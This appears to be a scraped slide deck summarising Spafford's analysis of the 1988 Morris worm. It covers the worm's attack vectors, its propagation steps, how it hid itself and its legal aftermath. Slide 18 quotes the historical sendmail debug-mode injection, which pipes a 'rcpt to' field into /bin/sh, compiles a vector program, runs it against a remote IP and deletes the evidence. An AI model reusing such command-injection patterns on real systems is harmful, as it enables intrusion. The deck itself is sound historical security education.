crisis and aftermath eugene h. spafford 이희범. introduction how the worm operated aftermath...

26
Crisis And Aftermath Crisis And Aftermath Eugene H. Spafford 이이이

Upload: randolph-francis

Post on 13-Dec-2015

216 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Crisis And AftermathCrisis And Aftermath

Eugene H. Spafford이희범

Page 2: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Introduction How the worm operated Aftermath

ContentsContents

Page 3: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

IntroductionIntroduction

Page 4: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Worm vs. VirusWorm vs. Virus

Worm Virus

Can run independently?

Yes No

How this operated? Consume the resource of its host

Insert itself into a host’s some program

When invoked? Itself When infected program is running

Target Several systems Target machine

Page 5: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

On the evening of November 2, 1988 MIT

Infect Sun 3 systems and VAX computer running variants of 4 BSD UNIX

Systems became so loaded that they were unable to continue any processing.

Morris WormMorris Worm

Page 6: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

The worm took advantage of some flaws in standard software installed on UNIX.• (fingerd, sendmail)

It also took advantage of a mechanism used to simplify the sharing of resources in local area networks• (rsh, rexec)

How the worm operatedHow the worm operated

Page 7: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

finger : allows user to obtain information about other user over TPC(79)/IP• Common Unix systems run a demon of

finger (fingerd)

• The worm broke fingerd program by “buffer overflow” • The worm exploited gets() (no bound

checking) call

FingerdFingerd

Page 8: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

sendmail is mailer program to route mail in a heterogeneous network.

By debug option, tester can run programs to display the state of the mail system without sending mail or establishing a separate login connection.

Worm uses debug option to invoke set of commands instead of user address

SendmailSendmail

Page 9: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

rsh and rexec are remote command execution services.

rsh (client IP, user ID) rexec (user ID, Password)

rsh, rexecrsh, rexec

Page 10: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Password mechanism in UNIX system1. Insert password2. “Encryption standard algorithm”

encrypted3. Compare with Previously encrypted

password4. If it is same, we get a accessibility

PasswordPassword

Page 11: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Multiple processor and processor speed up

Tendency of users to choose common words as their passwords

Ways to reduce the risk of such attacks• Shadow file

• Time delay and Threshold

• Change utility

PasswordPassword

Page 12: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Main Program : collect information on other machines in the network and attack

Vector Program : Program which install main program

WormWorm

Page 13: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Rsh – simply try and success cases• Remote machine had a hosts.equiv file

or

• The user had a .rhosts file

Rexec – if worm knows password• Simply try

• Users often have the same password on their accounts on muiltiple machines

Attack method(1)Attack method(1)

Page 14: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

1. Collect info/etc/hosts.equiv and /.rhosts/etc/passwd.forward

2. Cracking passwd using simple choices3. Cracking passwd with an internal dictionary

of words4. Cracking passwd with /usr/dict/words

Cracking PasswordCracking Password

Page 15: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Fingerd – 1.connection 2. input 3. output• Transmit specially constructed string of

536bytes

• Stack overflow attacking

• Change the return stack frame for main

• execve(“/bin/sh”, 0 , 0)

Attack method(2)Attack method(2)

Page 16: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Sendmail • Use debug mode

• Transmit command instead of recv address

Attack method(3)Attack method(3)

Page 17: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

A socket was established Magic number was generated Random file name was generated

Step 1Step 1

Page 18: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

PATH=/bin: /usr/bin: /usr/ucbcd /usr/tmpecho gorch49; sed ‘/int zz/q’> x14481910.c; echo gorch 50[text of vector program]int zz;

Debugmail from: </dev/null>rcpt to: <“|sed –e ‘1,/^$/’d | /bin/sh ; exit 0” > data cd /usr/tmp cat > x14481910.c << ‘EOF’ [text of vector ..] EOF

cc –o x14481910 x14481910.c./x1448190 128.32.134.16 32341 8712440rm –f x14481910 x14481910.cQuit

Step 2Step 2

Page 19: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Vector connected to the ‘server’• Transfer 3 files• Sun3, VAX binary version of worm

• Source code of Vector Vector became a shell with its input,

output still connected to the server• Using execl

Step 3Step 3

Page 20: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

For each object files, the worm tries to build an executable object.

If successively execute, the worm kills the command interpreter and shuts down the connect

Otherwise it clear away all evidence of the attempt at infection

Step 4Step 4

Page 21: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

New worm hides itself• Obscuring its argument vector

• Unlinking the binary version of itself

• Killing its parent

• Read worm binary into memory and encrypt

• And delete file from disk

Step 5Step 5

Page 22: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

The worm gathers information about• Network interface

• Hosts to which the local machines was connected

Using ioctl, netstat

It built lists of these in memory

Step 6Step 6

Page 23: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Tries to infect some from the list Check reachability using telnet,

rexec

Step 7Step 7

Page 24: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Check for other worms running One of 7 worms become immortal Fork itself and kill parent• Change pid, scheduling priority

Re-infect the same machine every 12 hours

No damaging code There are no stop code

CharacteristicsCharacteristics

Page 25: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

First worm Around 6000 major UNIX machines

were infected ( 10% of the network at that time)

Important nation-wide gateways were shutdown

Topic debated• punishment

AftermathAftermath

Page 26: Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents

Robert T. Morris arrested He just want to make a tool to gauge

the size of the internet• [Computer Fraud and Abuse Act 86]

• 3 years probation, fine, community service

Computer Emergency Response Team was established

Aftermath(cont)Aftermath(cont)